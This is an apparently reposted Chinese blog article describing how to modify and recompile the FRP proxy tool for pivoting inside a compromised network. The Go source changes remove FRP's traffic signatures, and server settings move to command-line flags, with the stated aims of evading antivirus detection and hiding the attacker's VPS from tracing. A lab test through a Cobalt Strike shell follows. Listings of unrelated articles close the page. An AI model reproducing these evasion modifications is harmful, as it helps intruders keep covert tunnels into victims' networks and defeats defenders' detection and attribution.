内网穿透-FRP流量改造

2024-06-01 21:04
文章标签 frp 穿透 流量 改造

本文主要是介绍内网穿透-FRP流量改造,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

前言

在拿下一台机器作为入口时,内网代理就变得尤为重要。他是我们进行横向渗透一个中间人,没了代理在内网中就寸步难行。而内网穿透的工具有很多,比如frp,reGeorg等等非常优秀的代理工具。使用方法不在赘述,这篇文章主要记录下在FRP内网代理时的流量改造。FRP作为一个开源的项目,它的特征早已被各大厂商掌握了,不进行流量上的改变我们就无法成功的建立连接,如果直接使用github编译后的EXE直接会被360等杀软直接判定为黑客行为,流量改造也是为了能够达到一定程度上的免杀效果。

改造前的流量

在frp默认配置文件 frpc.ini中不开启 tls_enable = true 时,客户端在连接服务端时会把版本信息传给服务端进行认证。下面是在连接时wires hark抓包的流量

可以看见非常明显的frp流量特征

"version","host name","user","arch","privilege_key","times tamp","run id","metas","pool_count"

这时候我们需要修改frp源码中的特征,并且使用Go环境重新编译

源码地址:

https://github.com/fatedier/frp

特征认证信息处:

pkg\msg\msg.go

可以将所有的变量加一个任意的前缀,比如Apple

而在pkg\util\version\version.go 中定义了版本信息,这里也可以修改一下

修改为3.14.15

客户端连接

如果按照正常的客户端连接方式,我们需要一个frpc.ini配置文件,这里会暴露我们的代理服务器,如果被溯源问题就大了。

[common]
server_addr = xxx.xxx.xxx.xxx
server_port = 4444
privilege_token = pentest
tls_enable = true[ssh]
type = tcp
remote_port = 23333
plugin = socks5

所以我们在源码中添加一段自定义的代码,使其用接收参数的方式进行指定ip和端口。

在cmd\frpc\sub\root.go文件中添加如下函数(具体配置需要自己更改)

func getFileContent(ip string,port string) {var content string = `[common]server_addr = ` + ip + `server_port = ` + port + `tls_enable = true[ssh]type = tcpremote_port = 6000plugin = socks5`fileContent = content
}

同时别忘了对变量进行定义

在 init函数中加两行代码,对ip和端口进行接收。

rootCmd.PersistentFlags().StringVarP(&ip, "server_addr", "t", "", "server_addr")

rootCmd.PersistentFlags().StringVarP(&port, "server_port", "p", "", "server_port")

最后需要在 runClient()函数下调用我们自定义的函数getFileContent()

注意一下参数的接收和代码的注释。

Go环境搭建编译frp

这里大佬搞得一键搭建QAQ,不过注意要在 /root/ 目录下运行该脚本

go_tar_gz="go1.15.5.linux-amd64.tar.gz"go_url="https://dl.google.com/go/${go_tar_gz}"wget --no-check-certificate -O ${go_tar_gz}  ${go_url}
tar -xvf  ${go_tar_gz}
rm  ${go_tar_gz}
# go语言 添加环境变量cat <> ~/.profile
export GOROOT=/root/go
export GOPATH=/root/go/work
export PATH=$PATH:/root/go/binEOFsource ~/.profile
mkdir -p /root/go/work
# 测试go语言安装mkdir -p ~/helloworld
cd ~/helloworldcat < helloworld.go// Test that we can do page 1 of the C book.package mainfunc main() {print("hello, world\n")
}
EOFgo build./helloworld

我这里使用的kali安装的Go环境,使用go version检测是否成功

如果不成功可能是环境变量文件没有刷新,刷新一下就好了

source ~/.profile

编译

之后把修改过后的frp源码拖到 go/work/ 目录下,修改 Makefile.cross-compiles 文件,添加

export GOPROXY=https://goproxy.cn

之所以添加export GOPROXY=https://goproxy.cn是因为在国内,go语言的这个包的网站是被禁止的,我们无法直接访问。

make -f Makefile.cross-compiles

编译出的各种版本如下

测试

环境

内网网段:

win7 192.168.111.2

kali 192.168.111.3 (有Web服务,仅内网访问)

模拟公网网段:

win7 192.168.10.19(桥接)

实验的时候需要把物理机中自定义的内网网段的网卡禁用掉。

将编译后的frps_linux_386上传到公网VPS中,创建frps.ini文件,写入

[common] bind_port = 9998 #自定义与客户端要连接的端口

随后载入该配置文件启动

./frps_linux_386 -c frps.ini

服务端已经成功启动,我们在靶机win7上传我们编译过后的frpc_windows_386.exe.

然后通过cmd命令行指定ip和端口进行连接。当然,上传之后直接在cs中执行shell命令也可。

在本地通过SocksCap64,Proxifier代理工具连接。

连接成功,如果不使用代理服务器进行访问。

使用SocksCap64代理后进行访问

成功访问了内网kali的Web服务,ssh服务也可以连上。

关闭进程

shell taskkill /f /t /im frpc_windows_386.exe

遗留问题

虽然其他服务都能够正常的访问,但是却Ping不通,不知道是自己环境的问题还是ICMP协议通过代理后会有什么变化的问题。

临时解决:

虽然无法ping,但是可以直接通过CS拿下的机器进行信息收集等工作,感觉代理后Ping的通内网并不是刚需。

这篇关于内网穿透-FRP流量改造的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/1022118

相关文章

利用Frp实现内网穿透(docker实现)

文章目录 1、WSL子系统配置2、腾讯云服务器安装frps2.1、创建配置文件2.2 、创建frps容器 3、WSL2子系统Centos服务器安装frpc服务3.1、安装docker3.2、创建配置文件3.3 、创建frpc容器 4、WSL2子系统Centos服务器安装nginx服务 环境配置:一台公网服务器(腾讯云)、一台笔记本电脑、WSL子系统涉及知识:docker、Frp

说一说三大运营商的流量类型,看完就知道该怎么选运营商了!

说一说三大运营商的流量类型,看完就知道该怎么选运营商了?目前三大运营商的流量类型大致分为通用流量和定向流量,比如: 中国电信:通用流量+定向流量 电信推出的套餐通常由通用流量+定向流量所组成,通用流量比较多,一般都在100G以上,而且电信套餐长期套餐较多,大多无合约期,自主激活的卡也是最多的,适合没有通话需求的朋友办理。 中国移动:通用流量+定向流量 移动推出的套餐通常由通用流量+定向

免费内网穿透工具 ,快解析内网穿透解决方案

在IPv4公网IP严重不足的环境下,内网穿透技术越来越多的被人们所使用,使用内网穿透技术的好处有很多。 1:无需公网ip 物以稀为贵,由于可用的公网IP地址越来越少,价格也是水涨船高,一个固定公网IP一年的成本要上万,而使用内网穿透技术则不需要公网IP的支持。 2:提高安全性 使用内网穿透技术,无需在路由器映射端口,我们知道黑客通常会使用端口扫描来寻找攻击对象,不映射端口能大大提高服务器的安全

全面国产化信创适配改造方案说明

一、概叙         系统的全面国产化适配改造需要从多个方面进行考虑,改造前需要进行充分的论证,在满足具体业务场景的前提下,以确保系统的稳定性和安全性,同时还要考虑技术的发展,不断优化和更新。因此全面国产化适配改造也面临很多挑战和问题,这里只是对适配改造做一个说明参考。 二、改造目标         1.政治任务:79号文件,或者甲方要求。         2.国产化:系统安全可控

iOS 网络相关面试题(可靠数据传输、流量控制(滑动窗口)、拥塞控制)

一、可靠数据传输 网络层服务(IP服务)是不可靠的。IP不保证数据报的交付,不保证数据报的按序交付,也不保证数据报中数据的完整性。 TCP则是在IP服务上创建了一种可靠数据传输服务 TCP的可靠数据传输服务确保一个进程从其接收缓存中读出的数据流是无损坏、无间隔、无冗余、按序的数据流。即该字节流与连接的另一端发出的字节流是完全相同的。 作为TCP接收方,有三个与发送和重传有关的主要事件 1、从

WebStorm 环境配置带@符号的相对路径穿透

在使用WebStorm 环境开发web页面项目时有时想快速查看页面的引用代码,只能手工找到引入文件路径,这很不方便,只需通过配置webStorm单击打开。 1 使用@符号相对路径,在默认情况下没有配置环境是无法打开,如下图: 2配置WebStorm 环境相对路径:   指定Webpack的配置文件:\node_modules\@vue\cli-service\webpack.config

微服务改造启动多个 SpringBoot 的陷阱与解决方案

在系统运行了一段时间后,业务量上升后,生产上发现java应用内存占用过高,服务器总共64G,发现每个SpringBoot占用近12G的内存,我们项目采用微服务架构,有多个springboot应用。 一下子内存就不够用了,springboot出现假死了。 可以看到内存基本被使用完了,为什么Java程序会占用这么大内存呢? 解决步骤 step1:jps查看进程ID或通过top ste

【Rust 日报】2021-12-05 fuso:内网穿透、端口转发工具

fuso:内网穿透、端口转发工具 一款快速、稳定、跨平台、高效的内网穿透,端口转发工具只实现 Socks5 与端口转发,快捷的接入与转发内网流量且体积小方便实用 GitHub:https://github.com/editso/fuso cracken:密码词表生成器、Smartlist 创建和密码混合掩码分析工具 Cracken 是一个快速的密码词表生成器、Smartlist 创建和密码混合

玄机——第六章 流量特征分析-waf 上的截获的黑客攻击流量 wp

文章目录 一、前言二、概览简介 三、参考文章四、步骤(解析)步骤#1.1黑客成功登录系统的密码 flag{xxxxxxxxxxxxxxx} 步骤#1.2黑客发现的关键字符串 flag{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx} 步骤#1.3黑客找到的数据库密码 flag{xxxxxxxxxxxxxxxx} 一、前言 题目链接:第六章 流量特征分析-

实战!如何从零搭建10万级 QPS 大流量、高并发优惠券系统--图文解析

实战!如何从零搭建10万级 QPS 大流量、高并发优惠券系统–图文解析 原文链接:https://juejin.cn/post/7087824893831544845 原文作者:字节跳动技术团队 需求背景 需要设计、开发一个能够支持十万级 QPS 的优惠券系统 什么是QPS? Queries Per Second,意思是每秒查询率。就是每秒的查询数,对数据库而言就是数据库每秒执行的 s